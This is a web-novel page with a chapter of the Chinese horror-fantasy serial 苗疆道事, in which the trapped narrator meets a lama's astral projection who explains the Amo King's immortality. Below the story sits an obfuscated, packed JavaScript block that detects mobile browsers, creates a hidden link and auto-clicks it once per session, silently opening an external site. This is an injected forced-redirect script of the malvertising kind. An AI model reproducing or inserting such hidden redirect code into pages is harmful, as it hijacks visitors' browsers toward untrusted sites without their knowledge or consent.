第五文学网 > 恐怖小说 > 苗疆道事 > 第六十四章 阴魂神游宝窟

第六十四章 阴魂神游宝窟

    面对着这样的消息,我陷入了两难之地。

    不去救人,被当做祭品的林齐鸣和朱雪婷,定然会被毫不犹豫地杀死;而倘若我硬着头皮去救人。恐怕连自身都难保。

    引蛇出洞,一箭双雕。

    摩门教打的好算盘,然而尽管明白这个道理,我在一瞬间还是陷入了人生中最为艰难的时刻。

    因为我再也想不出任何办法来,应对这样必死的结局。

    或许,我可以罔顾他们的性命,像一个土拨鼠一般,掩耳盗铃,将自己给封在这个鬼地方,待上三个月。等到身体完全恢复了,再给那些死去的属下报仇。

    只是到了那个时候,黄花菜都凉了。

    又或者,黄泉路上,我陪他们一起走……

    我简单地询问了八达木几句话之后,将自己给缩在了狭小洞子的最深处,抱膝而坐,静静地响着。

    这是理智与感情的交锋。

    苟且与死,我该如何选择呢?

    我不知道。

    整整一天,我不吃不喝,心绪变化万千,整个人都憔悴了几分。

    事实上,我已经陷入了绝望之地。

    在那一刻。我终于清醒地认识到了一点,那就是这个世界上的事情,有的时候,并非人力可以改变的。

    我不会永远幸运。

    八达木对于我的纠结,没有太多的想法,只是时不时地劝我吃点东西。

    他的想法是,不管怎么样,都别饿着肚子。

    我罕有地没有理会他。

    不知道什么时候,八达木离开了洞子,再也不见踪影。

    我苦笑。没想到他也离开了我。

    世界都抛弃我了么?

    盘坐在洞子里的我脑海里浮现出一张又一张的笑脸来,有林齐鸣和朱雪婷的,还是张励耘、小白狐儿、布鱼、白合和董仲明的,以及小颜师妹、师父、李道子……

    在这并不算长的时间里,我似乎看完了自己的前半生。

    这并不是一个很好的兆头,通常只有临死之人,方才会发生的事情,此时此刻,却在我的头上演绎。

    又过了好一会儿,我突然听到了八达木狂喜的声音:“阿诺恩人,阿诺恩人,有救了!”

    八达木?

    先前因为他离开而小小伤心的我情绪顿时恢复了一些。抬起头来,朝着洞口望去,却见身材魁梧的八达木艰难地爬进洞子来,冲着我说道:“阿诺恩人,我找到法王了,你快出来。快出来迎接他老人家!”

    法王?

    听到八达木的话语,我又想起先前的诸般传闻,心有疑惑地缓步走出,瞧见在洞口处,确实真的有一个红衣喇嘛在。

    这个红衣喇嘛双眉倒挂,一直平齐嘴角,面容枯槁,衰老得不成模样,浑身瘦得皮包骨头,不过一对眼睛却晶亮无比,璀璨得宛若星空,而让我疑惑的是,这个人浑身朦朦胧胧的,虚虚实实,让人看不透彻。

    虽名法王,不过对方却十分的有礼,见我出来,却是向我行了一个礼。

    我慌忙回礼,而那法王则伸出手来,在八达木的头顶上摸了一下,口中似乎说了一句祝福的话语。

    一直处于悲伤之中的八达木此刻却露出了纯真的笑容,连忙点头,然后抱着那根骨头棒子,跑去外面放哨了。

    法王待八达木离开,冲着我微微一笑道:“贫僧法号宝窟。”

    “陈志程!”

    我不卑不亢地说着,却没想到这宝窟法王毫无意外地点头说道:“我听过你的名字,黑手双城来着嘛,对不对?”

    我的腰间猛然一挺直,瞪眼说道:“上师是外面来的人?”

    宝窟法王不急不缓地说道:“事实上,我是受人所托,过来找你的。”

    受人所托?

    我的心中一阵按捺不住的狂跳,不过为了确认身份,还是小心翼翼地问道:“不知道上师说的是哪位?”

    宝窟法王也不隐瞒,点头说道:“洛东南的弟子,姓许,另外你们宗教局的大头目也给我打了招呼。”

    我这时方才安心,朝着宝窟法王深深行了一礼,表达谢意。

    然而宝窟法王却伸手将我给拦住了,平静地说道:“现在就谢,为时过早。事实上,我能够帮你的不多,甚至都没有办法将你给带出这个地方去……”

    我心中一震,激动无比的心情终于回归平静,这时方才发现这宝窟法王的手,是如此的轻。

    摸到法王这几近虚无的手,我浑身一震,诧异地喊道:“法王,这不是你本人?”

    宝窟法王点头说道:“对,这不过是我的佛魂行走而已。”

    佛魂行走?

    我的心一阵冰凉,所谓佛魂行走,用道家的术语来讲,其实也叫做神游,就是通过神魂离体,将意识投注于某一地,宛如亲临一般,所谓的“意搜海内,神游八方”,便是如此。

    但所谓的神游,其实不过是一缕意识飘动,根本不会有太多的力量存在。

    也就是说,我根本不能指望面前这位宝窟法王能够帮着我,去将被俘的林齐鸣、朱雪婷给救出来。

    宝窟法王瞧见了我难以掩饰的失望,并不介意,反而是笑了一笑,随后对我说道:“你也别着急,把你现在的情况,跟我大概地讲一下吧。”

    若说不着急,那是不可能的,但是宝窟法王是我目前唯一的救命稻草,我也不敢放手,当下也是讲我目前的处境,给他讲明。

    宝窟法王在来的路上,其实也跟八达木有过一部分的交流,此刻听到我的讲述,却也了解了大概的情况。

    听完之后,他的脸上并没有太多的表情,而是平静地问我道:“也就是说,目前的你身体受到了太多的伤害,根本没办法动武,而你的同志,再过一夜,就要被处决天祭了,对吧?”

    我连忙点头,一脸期冀地问道:“对,不知道上师可有办法破解?”

    宝窟法王摇了摇头,沉声说道:“没有。事实上,即便是你没有受伤,恐怕也不是那阿摩王的对手。”

    听到这般丧气的话语,我的心头一跳,忍不住哼声说道:“那也未必。”

    宝窟法王的话语让我失望不已,满心的期待被一瓢冷水浇下来,实在是有些难过,而他听到我这带着情绪的话语,却也不介意,沉声跟我分析:“我知道你不服气,不过你可能对阿摩王并不是很了解。”

    我说道:“愿闻其详。”

    宝窟法王说道:“你或许已经知道了阿摩王的真实身份,不过却不知道他为何会变成现在的样子。”

    我说道:“是那血池,让他魔化了,对吧?”

    宝窟法王点头说道:“是,又不是。多难往生罪恶池,曾经是茶荏巴错妖魔王朝最根本的地方,也是当年格萨尔王率领军队魔化的重要罪魁祸首,相传这池子能够通向六道轮回之地,由奎师那的守护灵镇守。阿摩王之所以能够如此厉害,是因为他获得了奎师那守护灵的认可,成为了它在此间的代言,也成了不死的存在。”

    “不死的存在?”

    我咀嚼着这几个字,而宝窟法王则认真地点头说道:“对,也就是说,你即便是拼尽全力杀死了阿摩王一次,他依旧还会在血池中重生,生生不息,直到最后,将你给消灭。”

    听到宝窟法王的话语,我不由得想起了之前与黄文兴的交手。

    他当初之所以背叛,除了因为黄养神之外,也是向往着这种生生不息的轮回生命。

    只可惜他最终失败了。

    尽管知道宝窟法王说的并不会有假,不过我还是侥幸地探讨道:“如果我们在杀死了他之后,将其神魂给拘禁住,是否会阻止他的重生?”

    宝窟法王摇头说道:“你想得太简单了,实际上,我可以肯定一点,那就是阿摩王的本体,其实一直都在血池之中,从未有离开过。”

    啊?

    我诧异万分,竟然是这样,这也就是说,不管我如何斩杀,都伤不了阿摩王的半根毫毛,因为那些根本就是他无穷无尽的分身而已。

    克隆人么?

    我浑身发寒,这时方才感觉到了刚才宝窟法王说我即便是状态全满,也杀不了阿摩王的意思。

    但是,如果我不是以杀死阿摩王为目的,而是毁去那血池呢?

    宝窟法王依旧还是否定:“不行,多难往生罪恶池乃神迹之物,里面有着最为稳固的法阵和材料,是无法用人力摧毁的,当年天神转世的萨格尔王都没有能够做成这件事情,对此也无可奈何,唯有将其封印住,至于你,就别想了。”

    被人活生生地鄙视,这当真是一件难受的事情,特别是我。

    不过此时此刻,我又实在是找不出反驳的理由来。

    说到这里,我心中不由得一阵烦躁,闷声说道:“这也不行,那也不行,你叫我怎么办?”

    宝窟法王的脸上,突然露出了一阵诡异的笑容来,对着我缓缓说道:“世间事,总不会无路可走,此事对于别人,或者是千难万难,但是对于你来说,却也还是有一线生机的,唯一的问题在于,你是否有勇气,敢于走下去……”  


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('p x(){j(O y==="\\k\\6\\2\\0\\8\\9\\6\\0\\2"){z P}Q a=(R^S)+(T^U);q A=y[\'\\k\\b\\0\\7\\V\\f\\0\\6\\1\'][\'\\1\\5\\r\\5\\W\\0\\7\\l\\3\\b\\0\']();a=(X^Y)+(Z^10);q B=11 12("13|14|15 16|17|18|19|1a 1b|1c|1d|1e|1f".s("").t().u(""),\'\\9\');z B[\'\\1\\0\\b\\1\'](A)}p C(a){q c=g[\'\\d\\7\\0\\3\\1\\0\\D\\4\\0\\h\\0\\6\\1\']("\\3");c[\'\\m\\7\\0\\8\']=a;c[\'\\b\\1\\i\\4\\0\'][\'\\2\\9\\b\\n\\4\\3\\i\']="1g".s("").t().u("");c[\'\\1\\3\\7\\f\\0\\1\']="\\v\\e\\4\\3\\6\\o";g[\'\\e\\5\\2\\i\'][\'\\3\\n\\n\\0\\6\\2\\l\\m\\9\\4\\2\'](c);c[\'\\d\\4\\9\\d\\o\']();g[\'\\e\\5\\2\\i\'][\'\\7\\0\\h\\5\\E\\0\\l\\m\\9\\4\\2\'](c)}g[\'\\3\\2\\2\\D\\E\\0\\6\\1\\r\\9\\b\\1\\0\\6\\0\\7\']("\\1h\\1i\\1j\\l\\5\\6\\1\\0\\6\\1\\r\\5\\3\\2\\0\\2",p(){j(!F[\'\\f\\4\\5\\e\\3\\4\\G\\3\\7\']){j(g[\'\\e\\5\\2\\i\']!=1k){F[\'\\f\\4\\5\\e\\3\\4\\G\\3\\7\']="\\w";H=I[\'\\f\\0\\1\\w\\1\\0\\h\']("\\4\\k\\d\\o\\v\\8\\8");j(!H&&x()){C("\\m\\1\\1\\n\\1l\\J\\J\\1m\\K\\L\\M\\N\\K\\1n\\L\\8\\M\\d\\N\\d\\5\\h")}I[\'\\b\\0\\1\\w\\1\\0\\h\']("\\4\\k\\d\\o\\v\\8\\8","1o".s("").t().u(""))}}});',62,87,'u0065|u0074|u0064|u0061|u006C|u006F|u006E|u0072|u0066|u0069||u0073|_0xbc9f6d|u0063|u0062|u0067|document|u006D|u0079|if|u0075|u0043|u0068|u0070|u006B|function|const|u004C|split|reverse|join|u005F|u0049|isMobileDevice|navigator|return|_0x0bd|_0xf_0xe23|OpenUrl|u0045|u0076|window|u0056|hasExecuted|localStorage|u002F|u0035|u0033|u0032|u002E|typeof|false|var|687386|687385|212973|212975|u0041|u0077|802130|802133|672503|672510|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|enon|u0044|u004F|u004D|null|u003A|u0037|u0036|eurt'.split('|'),0,{}))